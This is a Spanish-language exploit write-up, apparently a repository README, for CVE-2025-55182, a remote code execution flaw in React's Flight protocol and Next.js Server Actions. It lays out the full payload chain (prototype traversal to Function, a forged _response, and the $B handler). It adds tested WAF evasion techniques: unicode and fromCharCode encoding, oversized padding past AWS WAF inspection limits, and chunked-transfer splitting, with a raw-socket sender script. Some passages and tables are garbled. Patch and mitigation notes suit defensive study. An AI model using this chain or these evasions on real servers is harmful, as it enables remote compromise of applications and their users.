
Análisis técnico detallado y exploit de prueba de concepto para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código (RCE) en el Protocolo Flight de React. Cubre el path traversal, la inyección de chunks falsos y técnicas de evasión de WAF.
NOTA: Escrito por IA/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 es una vulnerabilidad RCE crítica en el Protocolo Flight de React. El ataque encadena path traversal + inyección de chunks falsos + abuso del handler $B para ejecutar Function(attacker_code).
¡Muchas gracias a maple3142 por la cadena de explotación funcional!
El exploit usa tres campos de formulario para construir un payload malicioso:
then autorreferencial (campo 1 $@0 → campo 0)_response falso con _formData.get establecido en $1:constructor:constructor$B que llama a response._formData.get(response._prefix + id)_formData.get → Function, ejecutando Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Componentes Clave
| Componente | Propósito |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable autorreferencial; el chunk 1 (`$@0`) apunta de vuelta al chunk 0 |
| `status: "resolved_model"` | Hace que el objeto parezca un chunk de React válido |
| `reason: -1` | Establece rootReference a undefined (evita conflictos de referencia) |
| `value: '{"then":"$B1337"}'` | Payload anidado que activa el manejador `$B` |
| `_response._prefix` | Contiene la cadena de código RCE |
| `_response._chunks: "$Q2"` | Mapa vacío para evitar bloqueos durante el procesamiento de chunks |
| `_response._formData.get` | Apunta a `Function` mediante `$1:constructor:constructor` |
### Análisis Detallado de Componentes
#### Estructura del Campo de Formulario
El exploit utiliza tres campos de formulario con referencias circulares:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)El then: "$1:__proto__:then" crea una autorreferencia que se resuelve a una función real:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Por qué esto es crítico:**
1. `then` se resuelve a `Chunk.prototype.then` - una función llamable real
2. Esto hace que el objeto falso sea un thenable válido
3. Cuando se hace await, JS llama a `obj.then(resolve, reject)`
4. `Chunk.prototype.then` se ejecuta con el objeto falso como `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) utiliza this._response - el _response falso del atacante:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Sin la autorreferencia**, el `_response` falso nunca se usaría. La autorreferencia hace que `Chunk.prototype.then` trate el objeto del atacante como un Chunk real.
#### Disparador Thenable en Dos Etapas (`value`)
El campo `value` contiene una cadena JSON anidada con otro thenable:```json
{"then":"$B1337"}
Etapa 1: El then autorreferencial del objeto externo activa el procesamiento por fragmentos
Etapa 2: Cuando React resuelve el modelo, analiza value y se encuentra con otro thenable con then: "$B1337". El prefijo $B activa el manejador:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` es `"$1:constructor:constructor"` → `getOutlinedModel()` se resuelve a `Function`.
Esto se convierte en: `Function(code + "1337")` → JS válido porque `1337` es solo una expresión final.
#### Relleno defensivo (`_chunks`)
El `_response` falso necesita una propiedad `_chunks` válida para evitar bloqueos:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
El código interno de React puede acceder a response._chunks.get() o response._chunks.has() durante el procesamiento. Un Map vacío satisface estas llamadas sin errores, lo que permite que la ejecución alcance el controlador vulnerable $B.
decodeReply() es el punto de entrada, no vulnerable en sí misma.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Uso de respuesta falsa** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## La corrección (19.2.1)
El parche incluye múltiples correcciones:
1. **`RESPONSE_SYMBOL` en `initializeModelChunk()`** - Corrección crítica ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty en getOutlinedModel() - Bloquea el recorrido de prototipos ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ en reviveModel() - Previene la contaminación de prototipos ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Valida los oyentes ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Capacidad | Estado | Notas |
|---|---|---|
| Recorrido de la cadena de prototipos |
Esta sección explica por qué las reglas WAF tradicionales de coincidencia de patrones no pueden detectar de forma fiable este exploit. Comprender estas limitaciones es esencial para los equipos de seguridad que evalúan su postura defensiva.
El payload del exploit pasa por múltiples analizadores, cada uno con soporte de codificación diferente. Un WAF que inspecciona bytes HTTP crudos ve cadenas codificadas, pero el servidor las decodifica antes de procesarlas:
| Capa | Analizador | Decodifica |
|---|---|---|
| Estructura JSON |
Esto crea un desajuste fundamental: el WAF ve bytes codificados, pero la aplicación ve cadenas decodificadas.
Un WAF ingenuo podría buscar patrones como constructor, __proto__, resolved_model o child_process. Sin embargo, JSON permite escapes unicode para cualquier carácter:
El código JavaScript dentro del payload tiene incluso más opciones de codificación:
| Patrón |
|---|
Cuando se combinan todas las técnicas de codificación:
\u0074\u0068\u0065\u006e para then)S(99,104,105,108,100,95,...) para child_process)Un WAF que escanea el cuerpo HTTP solo ve secuencias de escape y números: nada que coincida con las firmas de ataque tradicionales.
La cabecera Next-Action identifica las peticiones de Server Actions. Aunque los nombres de cabecera no pueden codificarse en unicode (RFC 7230 exige tokens ASCII), las diferencias de normalización entre el WAF y el servidor crean brechas de detección:
Aplicar parches es la única mitigación fiable. Las reglas WAF no pueden bloquear de forma exhaustiva este ataque debido a la flexibilidad de codificación.
Versiones requeridas:
Si el parcheo se retrasa, considera:
\uXXXX, \xXX y normalizar las llamadas a fromCharCode() antes de la coincidencia de patrones_response, _prefix, _chunks o referencias circulares ($@0)next-action sin distinguir mayúsculas de minúsculas y recortando espaciosNext-ActionFunction() con argumentos de cadena dinámicosConclusión clave: La coincidencia de patrones por sí sola fallará frente a esta clase de ataque. La superficie de codificación es demasiado extensa para enumerarla.
Incluso con reglas WAF exhaustivas, AWS WAF tiene límites de tamaño de inspección del cuerpo que pueden explotarse. Esta sección documenta técnicas de bypass probadas que utilizan payloads sobredimensionados.
AWS WAF solo inspecciona una parte del cuerpo de la petición:
| Backend | Límite predeterminado | Máximo configurable |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandlingLas reglas WAF especifican cómo manejar las peticiones que superan los límites de inspección:
Si tu regla WAF usa OversizeHandling: CONTINUE (predeterminado común), el bypass es trivial.
Coloca datos de relleno inofensivos antes del payload del exploit para que queden fuera de la ventana de inspección:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Resultados de las pruebas
Todos los payloads de gran tamaño lograron RCE en Next.js:
| Tamaño de relleno | Cuerpo total | Desplazamiento del exploit | Resultado |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### Omisión de codificación de transferencia fragmentada
La codificación de transferencia fragmentada de HTTP/1.1 divide el cuerpo en fragmentos discretos. Si el WAF inspecciona los fragmentos **antes** del reensamblaje, los patrones que cruzan los límites de los fragmentos no coincidirán.
#### Cómo funciona```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Patrón dividido en fragmentos:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Chunking Strategies Tested
| Estrategia | Descripción | Resultado |
|----------|-------------|--------|
| Dividir en `$@` | `"$` \| `@0"` | ✅ RCE |
| Fragmentos de 10 bytes | Cuerpo dividido cada 10 bytes | ✅ RCE |
| Fragmentos de 5 bytes | Cuerpo dividido cada 5 bytes | ✅ RCE |
| Dividir en `status` | `sta` \| `tus` | ✅ RCE |
Todas las estrategias lograron RCE con éxito - Next.js reensambla correctamente las solicitudes fragmentadas.
#### Ejemplo de Raw Socket```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
Nota: AWS WAF normalmente reensambla los cuerpos fragmentados antes de la inspección. Sin embargo, esto debe verificarse en cada entorno, ya que las configuraciones varían.
OversizeHandling a MATCH ```json
"OversizeHandling": "MATCH"
Esto bloquea cualquier solicitud que supere el límite de inspección cuando se cumplen las condiciones de la regla.
Aumentar el límite de inspección del cuerpo (solo CloudFront/API Gateway) Configura hasta 64KB en los ajustes de la ACL web, pero esto no previene completamente el bypass.
Agregar regla de bloqueo basada en tamaño
Bloquear solicitudes POST con cabecera Next-Action que superen un tamaño razonable (p. ej., 10KB).
Parchear la aplicación - La única solución completa.
Consulte los scripts de prueba incluidos:
test-simple.cjs - Prueba de carga útil no fragmentada de referenciatest-oversize.cjs - Prueba tamaños de relleno de 0 a 128KBtest-chunked-v2.cjs - Codificación de transferencia fragmentada con división $@test-chunked-bypass.cjs - Múltiples estrategias de fragmentación (5 bytes, 10 bytes, divisiones por patrón)Uso:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## Viaje de Investigación
### La Vulnerabilidad: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
Con el payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Si bien obtuvimos Function, lograr RCE requiere invocarla con argumentos controlados. Estas rutas fallaron:
1. Ruta Thenable (Bloqueada)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Path (Bloqueado)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Ruta del Iterador (Bloqueada)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### El avance
maple3142 encontró la pieza que faltaba: el manejador `$B` + la cadena de `_response` falsa. Al hacer que `then` resuelva a `Chunk.prototype.then` mediante auto-referencia, la `_response` falsa se utiliza, lo que permite RCE.
---
## Hallazgos clave
1. **La vulnerabilidad de `getOutlinedModel()` es real** - Las rutas separadas por dos puntos permiten la recorrida de la cadena de prototipos
2. **El constructor de Function es accesible** - `$1:constructor:constructor` funciona sin serverManifest
3. **RCE es alcanzable** - Al crear un chunk falso con `_response` controlada:
- La auto-referencia `$1:__proto__:then` → `Chunk.prototype.then` hace que la `_response` falsa se utilice
- La estructura del chunk falso imita la clase Chunk interna de React
- `_response._formData.get` → constructor de `Function`
- `_response._prefix` → cadena de código malicioso
- El manejador `$B` dispara `Function(malicious_code)`
4. **La corrección es integral** - Múltiples comprobaciones de `hasOwnProperty` y validaciones de tipo
---
## Referencias
- [El Gist de maple3142](https://gist.github.com/maple3142) - Descubrimiento de la cadena de RCE
- [Aviso de seguridad de React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [PoC de msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Regla de AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Descargo de responsabilidad
Este repositorio es solo para **investigación educativa y de seguridad defensiva**. La vulnerabilidad ha sido parcheada. Actualiza tus dependencias de inmediato.
| Path | Function | Purpose in Exploit |
|---|
| Path Traversal | getOutlinedModel() | Resuelve $1:constructor:constructor → Function |
Inyección de _response falso | initializeModelChunk() | Utiliza el chunk._response del atacante |
Manejador $B | parseModelString() | Llama a _formData.get(_prefix + id) → RCE |
| ✓ Confirmado |
Vía $1:constructor:constructor |
| Acceso al constructor de Function | ✓ Confirmado | No se necesita manifiesto |
| RCE completa | ✓ Confirmado | Mediante chunk falso + manejador $B |
JSON.parse() |
escapes unicode \uXXXX |
| Código JavaScript | Constructor Function() | \uXXXX, \xXX, octal, fromCharCode() |
| Patrón literal | Equivalente Unicode | Detección WAF |
|---|
constructor | \u0063onstructor | Evadido |
__proto__ | \u005f\u005fproto\u005f\u005f | Evadido |
resolved_model | \u0072esolved_model | Evadido |
$@ (ref. circular) | $\u0040 | Evadido |
| Opciones de codificación |
|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, códigos de carácter numéricos, base64 |
| Cualquier identificador | Notación de corchetes: this[S(112,114,...)] donde S=String.fromCharCode |
| Variante | Comportamiento del servidor | Riesgo WAF |
|---|
next-action (minúsculas) | Aceptado (HTTP no distingue mayúsculas de minúsculas) | Se pierde si el WAF espera una capitalización exacta |
Next-Action:\tx (tabulación) | Aceptado (espacios normalizados) | Se pierde si el WAF espera un espacio |
Next-Action: x (espacios) | Aceptado | Se pierde sin normalización |
| Configuración | Comportamiento | ¿Explotable? |
|---|
CONTINUE | Inspecciona los bytes disponibles, evalúa la regla | Sí - el payload después del límite no se inspecciona |
MATCH | Tratar como coincidente (bloquear) | No - bloquea peticiones sobredimensionadas |
NO_MATCH | Tratar como no coincidente | Sí - pasa |
| Tipo de WAF | Manejo de fragmentos | ¿Bypass posible? |
|---|
| AWS WAF (ALB) | Reensambla antes de la inspección | Poco probable |
| AWS WAF (CloudFront) | Reensambla antes de la inspección | Poco probable |
| Algunos WAF heredados | Inspecciona por fragmento | Sí |
| Nginx ModSecurity | Configurable | Depende de la configuración |